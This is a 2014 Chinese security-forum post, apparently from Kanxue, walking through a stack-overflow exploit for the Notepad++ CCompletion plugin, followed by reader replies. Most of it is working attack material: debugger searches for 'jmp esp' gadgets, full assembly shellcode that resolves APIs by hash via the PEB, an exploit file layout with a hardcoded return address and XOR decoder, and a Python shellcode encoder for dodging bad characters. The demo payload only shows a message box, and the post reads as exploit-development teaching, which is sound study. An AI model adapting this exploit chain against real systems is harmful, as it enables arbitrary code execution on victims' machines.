首页
社区
课程
招聘
[原创]经典栈溢出利用详解一例—Notepad++插件CCompletion
发表于: 2014-2-23 21:08 7053

[原创]经典栈溢出利用详解一例—Notepad++插件CCompletion

2014-2-23 21:08
7053
0:009> .effmach x86
Effective machine: x86 compatible (x86)
0:009:x86> lmvm kernel32
start             end                 module name
76cc0000 76dd0000   KERNEL32   (pdb symbols)          f:\ntsymbols\wkernel32.pdb\139CA12C1AB645F6A7F2DD1A098696692\wkernel32.pdb
   Loaded symbol image file: KERNEL32.dll
   Image path: KERNEL32.dll
   Image name: KERNEL32.dll
   Timestamp:        Fri Aug 02 09:53:25 2013 (51FB1115)
   CheckSum:         00111A9F
   ImageSize:        00110000
…………………………………………………
0:009:x86> s 76cc0000 L00110000 ff e4
76ce8bd5  ff e4 45 cd 76 89 b5 b8-fd ff ff 89 b5 bc fd ff  ..E.v...........
0:009:x86> u 76ce8bd5  
KERNEL32!BasepCheckCacheExcludeCustom+0x54:
76ce8bd5 ffe4            jmp     esp
76ce8bd7 45              inc     ebp
……………………………………………………………
0:009:x86> lmvm notepad*
start             end                 module name
00400000 005c9000   notepad__   (deferred)             
    Image path: F:\Program Files (x86)\NotePad++\notepad++.exe
    Image name: notepad++.exe
    Timestamp:        Tue Dec 10 18:54:54 2013 (52A6F2FE)
    CheckSum:         0018B6E1
    ImageSize:        001C9000
    File version:     6.5.2.0
    Product version:  6.5.2.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Don HO don.h@free.fr
    ProductName:      Notepad++
    InternalName:     npp.exe
    OriginalFilename: Notepad++.exe
    ProductVersion:   6.52
    FileVersion:      6.52
    FileDescription:  Notepad++ : a free (GNU) source code editor
    LegalCopyright:   Copyleft 1998-2013 by Don HO
0:009:x86> s 00400000 L001C9000 ff e4
0044c4ed  ff e4 ff ff 5f 5e c2 04-00 cc cc cc cc cc cc cc  ...._^..........
0051a88b  ff e4 f9 4e 00 ff ff ff-ff ef f9 4e 00 00 00 00  ...N.......N....
……………………………………
0:009:x86> u 0044c4ed  
notepad__+0x4c4ed:
0044c4ed ffe4            jmp     esp
……………………………………
LoadLibraryExA_Digest	equ	0xc0d83287
LoadLibraryA_Digest		equ	0x0C917432
MessageBoxA_Digest		equ	0x1E380A6A
FreeLibrary_Digest		equ	0x30BA7C8C
use32
shellcode_start:
			push ebp		;// 保存栈帧
			mov ebp, esp

			;// 获取USER32.DLL的基址
			call @f
			du "USER32.DLL",0
		@@:
			call get_module_base
			test eax, eax
			jz ._shellcode_return
			push eax				;// [ebp-4]

			;// 获取MessageBoxA的地址
			push MessageBoxA_Digest
			push eax
			call get_proc_address_by_digest
			test eax, eax
			jz ._shellcode_return

			;// Shell Code. Shion  [Shel    l_Co  de._  Shio   n000
			call @f
			db "Back Door Opend!", 0
		@@:
			pop edi
			call @f
			db 'HA...', 0
		@@:
			pop esi

			push 00000040h
			push esi
			push edi
			push 0
			call eax

._shellcode_return:
			leave
			jmp $
			
;/************************************************************************/
;/*  some useful procs for shell code programming.
;/*  tishion
;/************************************************************************/

use32
get_peb:
			mov eax, 30h
			mov eax, [fs:eax]			;// eax = ppeb
			ret

;/************************************************************************/
;/*  Get base address of  module
;*  tishion
;*  2013-05-26 13:45:20
;*  IN:
;*		ebp+8 = moudule name null-terminate string [WCHAR]
;*  
;*  OUT: 
;*		eax = ntdll.base
;*		#define _Wcsnicmp_Digest		0x548b2e5f
;/************************************************************************/
use32
get_module_base:
			push ebp
			mov ebp, esp

			call get_ntdll_base
			jz ._find_modulebase_done
	
			push 548b2e5fh				;// hash of _wcsnicmp
			push eax
			call get_proc_address_by_digest
			test eax, eax				;// _wcsnicmp
			jz ._find_modulebase_done

			push eax					;// [ebp-04h]_wcsnicmp
			
			call get_peb
			test eax, eax
			jz ._find_modulebase_done

			mov eax, [eax+0ch]			;// eax = pLdr			pLdr:[PEB_LDR_DATA]	
			mov esi, [eax+1ch]
			jmp ._compare_moudule_name

	._find_modulebase_loop:
			mov esi, [esi]				;// esi = pLdr->InInitializationOrderModuleList
	._compare_moudule_name:
			test esi, esi
			jz ._find_modulebase_done
			
			xor edi, edi
			mov di, word [esi+1ch]		;// length
			push edi
			push dword [esi+20h]		;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]
			push dword [ebp+08h]
			mov edi, [ebp-04h]
			call edi
			test eax, eax
			jnz ._find_modulebase_loop
			
			mov eax, [esi+08h]			;// eax = pLdrDataTableEntry.DllBase
	._find_modulebase_done:
			leave
			ret 4

;/************************************************************************/
;/*  Get base address of ntdll.dll module
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  OUT: 
;*		eax = ntdll.base
;/************************************************************************/
use32
get_ntdll_base:
			call get_peb
			test eax, eax
			jz ._find_ntdllbase_done

			mov eax, [eax+0ch]		;// eax = pLdr			pLdr:[PEB_LDR_DATA]	
			mov eax, [eax+1ch]		;// eax = pLdr->InInitializationOrderModuleList
			mov eax, [eax+08h]		;// eax = pLdrDataTableEntry.DllBase
	._find_ntdllbase_done:
			ret
			
;/************************************************************************/
;/*  Get function name digest
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  IN: 
;*		esi = function name 
;*  OUT: 
;*		edx = digest
;/************************************************************************/
use32
get_ansi_string_digest:			
			push eax
			xor edx, edx
		._next_char:
			xor eax, eax
			lodsb
			test eax, eax
			jz ._done

			ror edx, 7
			add edx, eax
			jmp ._next_char
		._done:
			pop eax
			ret
;/************************************************************************/
;/*  Get function address by searching export table
;*  tishion
;*  2013-05-26 13:50:13
;*  
;*  IN: 
;*		[ebp+8]		= module base 
;*		[ebp+0ch]	= function name digest
;*  OUT: 
;*		eax			function address (null if failed)
;/************************************************************************/
use32
get_proc_address_by_digest:
			push ebp
			mov ebp, esp

			mov eax, [ebp+8]
			add eax, [eax+3ch]				;// eax = ImageNtHeader			IMAGE_NT_HEADERS  
			push eax				;// [ebp-04h]

			;//add eax, 18h			;// eax = ImageOptionalHeader	IMAGE_OPTIONAL_HEADER
			;//add eax, 60h			;// eax = ImageExportDirectoryEntry	IMAGE_DIRECTORY_ENTRY_EXPORT
			;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
			add eax, 78h

			mov eax, [eax]			;// eax = RVA IMAGE_EXPORT_DIRECTORY
			add eax, [ebp+08h]		;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
			mov ecx, eax

			mov eax, [ecx+20h]
			add eax, [ebp+08h]		;// eax = AddressOfNames
			push eax				;// [ebp-08h]	导出名称地址表

			mov eax, [ecx+24h]
			add eax, [ebp+08h]		;// eax = AddressOfNameOrdinals
			push eax				;// [ebp-0ch]	导出序号表

			mov eax, [ecx+1ch]
			add eax, [ebp+08h]		;// eax = AddressOfFunctions
			push eax				;// [ebp-10h]	导出RAV地址表

			push dword [ecx+10h]	;// [ebp-14h]ordinals base					
			push dword [ecx+14h]	;// [ebp-18h]NumberOfFunctions		
			push dword [ecx+18h]	;// [ebp-1ch]NumberOfNames

			mov ecx, [ebp-1ch]
			mov ebx, ecx
			mov eax, [ebp-08h]

	._find_func:
			mov edi, ebx
			sub edi, ecx
			mov esi, [eax+edi*4]
			test esi, esi			;// esi是否NULL
			loope ._find_func
			inc ecx
			add esi, [ebp+08h]
			call get_ansi_string_digest
			cmp edx, [ebp+0ch]
			loopne ._find_func		;// ecx 为目标函数在函数名数组中的index

			xor edx, edx
			mov eax, [ebp-0ch]
			mov dx, [eax+edi*2]	
			
			cmp edx, [ebp-18h]
			jae ._return_null

			mov eax, [ebp-10h]		;// eax = AddressOfFunctions
			mov eax, [eax+edx*4]	;// edi = RVA地址数组的地址  edi+4*序号 即为 某一函数的RVA地址
			add eax, [ebp+08h]
			jmp ._function_found_done

	._return_null:
			xor eax, eax
	._function_found_done:
			leave
			ret 8
TARGET_EIP_OFFSET 		equ 0x430

use32
			db 0xff, 0xfe				;// Unicode bom
org 0x0
			times 0x80 du 'A'
			shellcode_start:
			;// shellcode解变形
			
			;// 先让esp指向shellcode_start处
			
			sub sp, (ESP_OFFSET - shellcode_start)			 ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00
			mov edi, esp 	;// 寻址payload
			;// 让edi指向payload_start
			add edi, (payload_start - shellcode_start)
						
			mov cx, 'PL'	;// payload的长度
		.continue:
			mov al, byte [edi]
			xor al, cl
			mov byte [edi], al
			inc edi
			loopnzw .continue
			
			;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变,
			;// 所以首先调整ESP的值到shellcode代码区之前32个字节处
			;// 否则shellcode执行中会破坏shellcode代码
			sub esp, 0x20
			
payload_start:
		times (TARGET_EIP_OFFSET - payload_start) db 'P'				;// 为Payload预留的代码空间
payload_end:

org TARGET_EIP_OFFSET					;// 调整对齐伪指令
			dd  0x0044C4ED			;// 我们已知的JMP ESP指令的地址
ESP_OFFSET:
			jmp shellcode_start			;// 注意此时esp指向这里
			
			;// 多来点填充尾部
			times 400 du 'E'
37 DE 		FD FF FD FF
57 DE 		FD FF FD FF
54 DF 		FD FF FD FF
14 D8 		FD FF FD FF
01 DB 		FD FF FD FF
72 DA 		FD FF FD FF
CE DB 		FD FF FD FF
D8 D9 		FD FF FD FF
#!/usr/bin/env python
#coding:utf-8
"""
  Author:  tishion --<tishion#163.com>
  Purpose: 
  Created: 2014/2/22
"""

from struct import *


def encode_sc(srcfn, dstfn, s=0):
    """
    shell code变形方法:
        把shell code中的每一个字节与该字节在整个单独的shell code中的
        偏移值进行异或,然后再与一个salt做一次异或。
        salt的存在主要是为了寻找一个满足各种要求的shell code变体
    """
    try:
        srcf = open(srcfn, 'rb')        #shell code源文件
        dstf = open(dstfn, 'wb')        #变形后的目标文件
        
        OneByte = Struct('B')
        
        srcstr = srcf.read()
        dststr = ''
        
        salt = s & 0xFF
        for i in range(0, len(srcstr)):
            srcbyte = OneByte.unpack(srcstr[i])[0]
            #dstbyte = (srcbyte ^ (i + salt)) & 0xFF       #这种算法最终无法找到满足要求的变形结果
            
            #dstbyte = (srcbyte ^ salt ^ i) & 0xFF           #通过这中算法找到了满足的变形结果salt=0x20
            
            dstbyte = (srcbyte ^ salt) & 0xFF           #
            
            ##############################################################
            #判断条件,这里的代码用于判断生成的shell code是否符合某些要求
            if (
                (dstbyte == 0) or 
                (((i % 2) != 0) and (dstbyte >= 0xD8) and (dstbyte <= 0xDF))
                ):
                #print 'i=', i, 'dstbyte=', hex(dstbyte)
                srcf.close()
                dstf.close()
                return False
            ###############################################################
            
            dststr = dststr + OneByte.pack(dstbyte)
            print '[%d]0x%02x ==> 0x%02x' % (i, srcbyte, dstbyte)
            
        dstf.write(dststr)
            
        srcf.close()
        dstf.close()
    except Exception, e:
        print 'Exception:', e
        return False
        
    return True

if __name__ == '__main__':
    
    srcfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin'
    dstfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin______'
    
    #encode_sc(srcfn, dstfn, 0x20)
    #exit()
    
    for i in range(2, 0xff):
        if encode_sc(srcfn, dstfn, i):
            print 'OK @salt =', hex(i)
            break
        else:
            print 'Failed @salt =', hex(i)
            pass

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 5
支持
分享
最新回复 (39)
雪    币: 13248
活跃值: (4301)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
mark学习。。。
2014-2-23 21:16
0
雪    币: 35
活跃值: (139)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
3
抢个板凳,ts威武
2014-2-23 21:18
0
雪    币: 29
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
图画的不错,看完这几张图也就知道了文字的内容了,不错哦
2014-2-23 21:19
0
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
5
沙发都没了。打你屁屁你不乖
2014-2-23 21:23
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
6
写的很好,支持...
楼主又添精华一篇呀,哈哈,看来我要加快脚步了呀
2014-2-23 21:59
0
雪    币: 3480
活跃值: (246)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
先占个位,慢慢看。
2014-2-23 22:14
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
8
感谢楼主大大的辛苦编写和发布
2014-2-23 22:21
0
雪    币: 239
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
写的太好了,又一精华
2014-2-23 22:42
0
雪    币: 623
活跃值: (40)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
10
mark
2014-2-23 22:43
0
雪    币: 95
活跃值: (119)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
看后觉得好牛叉呀
2014-2-23 22:46
0
雪    币: 257
活跃值: (67)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
12
谢谢分享,留个mark
2014-2-23 22:49
0
雪    币: 1919
活跃值: (901)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
13
感谢分享,支持一个。
2014-2-24 00:01
0
雪    币: 95
活跃值: (56)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
14
循序渐进,图文并茂,言必有中,已经有段时间没有看到这么冷静的文章了。
2014-2-24 09:21
0
雪    币: 55
活跃值: (519)
能力值: ( LV6,RANK:80 )
在线值:
发帖
回帖
粉丝
15
画质不错
2014-2-24 10:48
0
雪    币: 123
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
这个真的是太牛B的,实在看不懂!
2014-2-25 11:57
0
雪    币: 101
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
看得我一愣一愣的。。顶了先
2014-2-25 14:17
0
雪    币: 72
活跃值: (74)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ztj
18
支持一个 说的很详细
2014-2-28 16:52
0
雪    币: 236
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
好文章,学习了。。。
2014-3-4 15:59
0
雪    币: 41
活跃值: (159)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
20
请问楼主前两个图是用什么工具做出来的?
2014-3-4 21:03
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
21
//http://uml.riaoo.com/

额不好意思,我当成上一篇文章的UML图了

这里的两个图是直接用windows自带的mspaint.exe做的。俗称"画图"
2014-3-4 21:29
0
雪    币: 75
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
文本类的溢出经常就会遇到编码问题,lz为何不直接用现成的纯字母编码来解决,比如alpha3,就不用走这么多弯路了
2014-3-4 23:03
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
23

我也是菜鸟,之前并不知道有alpha3这样成熟的自动化编解码工具。
不过后来还是研究了下alpha3的源码,的确是很优秀的作品.
2014-3-4 23:43
0
雪    币: 41
活跃值: (159)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
24
好的,谢谢楼主
2014-3-5 11:02
0
雪    币: 41
活跃值: (159)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
25
这个栈溢出利用成功的前提应该是被攻击的操作系统已经加载了Notepad++.exe

但我觉得这个概率不是很高啊,像我虽然安装了这个软件,但并不经常打开它

楼主可否考虑一些常驻内存的那种进程或DLL(而且还没有开启ASLR)?在这里面找找jmp esp?

2014.3.13

我想错了,没看到你写的上一篇文章~
2014-3-6 00:47
0
游客
登录 | 注册 方可回帖
返回
//